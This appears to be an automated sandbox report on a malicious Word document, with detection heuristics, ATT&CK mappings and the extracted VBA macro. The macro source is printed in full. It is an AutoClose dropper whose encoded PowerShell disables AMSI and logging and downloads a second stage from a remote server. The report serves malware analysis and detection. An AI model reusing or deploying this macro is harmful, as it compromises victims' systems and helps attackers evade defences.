MALICIOUS
442
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains VBA macros that utilize WScript.Shell to execute a PowerShell command. This command is heavily obfuscated but appears to download and execute a second-stage payload. The AutoClose macro is triggered upon document closure, initiating the malicious execution chain. The presence of PowerShell and WScript.Shell usage strongly indicates a downloader or dropper functionality.
Heuristics 9
-
ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usage
-
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6103 bytes |
SHA-256: 35c9298a437825920870fe72e0c573e00478cd011b8ba6c726dc61d2719c39c5 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoClose()
Cvdb
End Sub
Public Function Cvdb() As Variant
Dim hSqU As String
hSqU = "powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVg"
hSqU = hSqU + "BFAFIAcwBpAG8AbgBUAEEAQgBMAGUALgBQAFMAVgBlAHIAcwBJ"
hSqU = hSqU + "AE8ATgAuAE0AYQBqAG8AcgAgAC0AZwBFACAAMwApAHsAJABSAE"
hSqU = hSqU + "UARgA9AFsAUgBFAGYAXQAuAEEAcwBzAEUATQBCAEwAWQAuAEcA"
hSqU = hSqU + "RQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
hSqU = hSqU + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBB"
hSqU = hSqU + "AG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIAZQBGAC"
hSqU = hSqU + "4ARwBlAHQARgBpAEUATABkACgAJwBhAG0AcwBpAEkAbgBpAHQA"
hSqU = hSqU + "RgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbA"
hSqU = hSqU + "BpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAEEATAB1"
hSqU = hSqU + "AEUAKAAkAE4AdQBsAGwALAAkAFQAUgBVAEUAKQA7AFsAUwB5AH"
hSqU = hSqU + "MAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYA"
hSqU = hSqU + "ZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQ"
hSqU = hSqU + "ByAF0ALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAG0AXwBl"
hSqU = hSqU + "ACcAKwAnAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAF"
hSqU = hSqU + "AAdQBiAGwAaQBjACwAJwArACcASQBuAHMAdABhAG4AYwBlACcA"
hSqU = hSqU + "KQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcw"
hSqU = hSqU + "BzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBz"
hSqU = hSqU + "AHQAZQAnACsAJwBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAE"
hSqU = hSqU + "EAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4A"
hSqU = hSqU + "UABTAEUAJwArACcAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcg"
hSqU = hSqU + "AnACkALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAGUAdAAn"
hSqU = hSqU + "ACsAJwB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAH"
hSqU = hSqU + "UAYgAnACsAJwBsAGkAYwAsAFMAJwArACcAdABhAHQAaQBjACcA"
hSqU = hSqU + "KQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMA"
hSqU = hSqU + "ApADsAfQA7AFsAUwB5AFMAVABlAG0ALgBOAGUAdAAuAFMARQBy"
hSqU = hSqU + "AHYAaQBDAGUAUABvAEkATgB0AE0AQQBuAEEAZwBlAFIAXQA6AD"
hSqU = hSqU + "oARQBYAHAAZQBjAHQAMQAwADAAQwBPAE4AdABJAG4AVQBlAD0A"
hSqU = hSqU + "MAA7ACQANQA2ADYAPQBOAGUAVwAtAE8AYgBKAEUAYwB0ACAAUw"
hSqU = hSqU + "BZAFMAVABlAG0ALgBOAEUAVAAuAFcARQBiAEMATABpAGUATgBU"
hSqU = hSqU + "ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAF"
hSqU = hSqU + "cAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcA"
hSqU = hSqU + "NgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdg"
hSqU = hSqU + "A6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7"
hSqU = hSqU + "ACQAcwBlAHIAPQAkACgAWwBUAGUAWABUAC4ARQBOAEMAbwBkAE"
hSqU = hSqU + "kAbgBnAF0AOgA6AFUAbgBJAGMAbwBkAEUALgBHAEUAdABTAHQA"
hSqU = hSqU + "UgBJAE4ARwAoAFsAQwBvAE4AdgBlAFIAVABdADoAOgBGAFIATw"
hSqU = hSqU + "BtAEIAYQBzAEUANgA0AFMAVAByAEkATgBnACgAJwBhAEEAQgAw"
hSqU = hSqU + "AEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAG"
hSqU = hSqU + "sAQQBNAGcAQQB1AEEARABFAEEATgBnAEEANABBAEMANABBAE0A"
hSqU = hSqU + "UQBBAHUAQQBEAEUAQQBNAEEAQQAwAEEARABvAEEATwBBAEEAdw"
hSqU = hSqU + "BBAEQAZwBBAE0AQQBBAD0AJwApACkAKQA7ACQAdAA9ACcALwBs"
hSqU = hSqU + "AG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7AC"
hSqU = hSqU + "QANQA2ADYALgBIAEUAQQBkAEUAUgBzAC4AQQBkAEQAKAAnAFUA"
hSqU = hSqU + "cwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAA1ADYANg"
hSqU = hSqU + "AuAFAAUgBPAFgAWQA9AFsAUwB5AFMAVABlAG0ALgBOAEUAdAAu"
hSqU = hSqU + "AFcAZQBCAFIAZQBRAHUAZQBzAFQAXQA6ADoARABFAEYAQQB1AE"
hSqU = hSqU + "wAdABXAGUAQgBQAFIATwBYAFkAOwAkADUANgA2AC4AUABSAG8A"
hSqU = hSqU + "WAB5AC4AQwByAGUAZABlAE4AVABJAGEAbABzACAAPQAgAFsAUw"
hSqU = hSqU + "B5AHMAdABlAG0ALgBOAEUAdAAuAEMAUgBlAEQAZQBuAHQASQBh"
hSqU = hSqU + "AEwAQwBBAGMAaABFAF0AOgA6AEQARQBGAGEAdQBsAHQATgBlAF"
hSqU = hSqU
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 17920 bytes |
SHA-256: b00ac4d98c530f65eced67b22dfe52ce5fb096879fe357defff8352b1354210e |
|||
|
Detection
ClamAV:
Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.